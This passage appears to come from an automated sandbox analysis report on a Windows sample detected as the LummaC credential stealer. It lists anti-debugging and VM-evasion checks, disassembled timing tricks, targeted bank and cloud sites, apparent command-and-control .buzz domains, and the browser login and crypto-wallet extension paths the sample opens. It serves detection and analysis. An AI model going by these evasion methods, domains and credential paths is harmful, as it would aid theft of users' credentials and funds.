pop ecx 0x0000004a pushad 0x0000004b jne 00007F7024DCF516h 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DCCAB5 second address: 5DCCAB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD22FF second address: 5DD2306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD333F second address: 5DD335F instructions: 0x00000000 rdtsc 0x00000002 je 00007F7025350AB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jng 00007F7025350AB6h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jo 00007F7025350AB6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD335F second address: 5DD33CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov di, A9C6h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F7024DCF518h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b push ecx 0x0000002c jp 00007F7024DCF516h 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 sub dword ptr [ebp+122D2E84h], ebx 0x0000003b jmp 00007F7024DCF521h 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F7024DCF522h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD33CD second address: 5DD33FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7025350AC1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD33FB second address: 5DD3407 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD1489 second address: 5DD148D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD148D second address: 5DD1497 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD43E9 second address: 5DD4481 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7025350AB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F7025350AC8h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F7025350AB8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d jbe 00007F7025350ABCh 0x00000033 mov dword ptr [ebp+122D35CAh], ecx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007F7025350AB8h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 push 00000000h 0x00000057 mov dword ptr [ebp+122D1CB0h], ecx 0x0000005d xchg eax, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F7025350AC9h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD4481 second address: 5DD4485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD4485 second address: 5DD448B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD448B second address: 5DD4491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD4491 second address: 5DD4495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD4495 second address: 5DD4499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD24D8 second address: 5DD24FB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7025350AC2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jne 00007F7025350AB8h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD63A0 second address: 5DD63A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD63A4 second address: 5DD63A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD3572 second address: 5DD3576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD7343 second address: 5DD7349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD6541 second address: 5DD6547 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD751D second address: 5DD7523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD75F2 second address: 5DD75F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DD95E8 second address: 5DD95EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DDB271 second address: 5DDB2A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jp 00007F7024DCF516h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 mov ebx, 64C7A421h 0x00000018 push eax 0x00000019 jbe 00007F7024DCF538h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F7024DCF526h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DDB2A8 second address: 5DDB2AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Special instruction interceptor: First address: B38D77 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Special instruction interceptor: First address: CE27A9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Special instruction interceptor: First address: D686EB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Special instruction interceptor: First address: 5C1DC71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Special instruction interceptor: First address: 5DBA447 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Special instruction interceptor: First address: 5DCD55B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Special instruction interceptor: First address: 5E52C90 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe TID: 2020	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe TID: 4548	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe TID: 3300	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe TID: 4072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe TID: 4608	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe TID: 948	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000002.2559134144.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp, 738KZNfnzz.exe, 00000000.00000002.2563364586.0000000005D9B000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000002.2560166113.0000000001018000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005415000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 738KZNfnzz.exe, 00000000.00000002.2559134144.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp, 738KZNfnzz.exe, 00000000.00000002.2563364586.0000000005D9B000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 738KZNfnzz.exe, 00000000.00000002.2562473355.00000000053C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\ZF
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 738KZNfnzz.exe, 00000000.00000003.2210960081.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\738KZNfnzz.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: NTICE
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: SICE
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: hummskitnj.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: appliacnesot.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: screwamusresz.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: inherineau.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scentniej.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rebuildeso.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: prisonyfork.buzz
Source: 738KZNfnzz.exe, 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: 738KZNfnzz.exe, 00000000.00000002.2559463017.0000000000D05000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 6F}Program Manager
Source: 738KZNfnzz.exe, 00000000.00000002.2563364586.0000000005D9B000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: cProgram Manager

Source: C:\Users\user\Desktop\738KZNfnzz.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 738KZNfnzz.exe, 00000000.00000003.2433500688.00000000010A2000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2433309193.00000000010A2000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284445321.00000000053CF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\738KZNfnzz.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 738KZNfnzz.exe PID: 1492, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
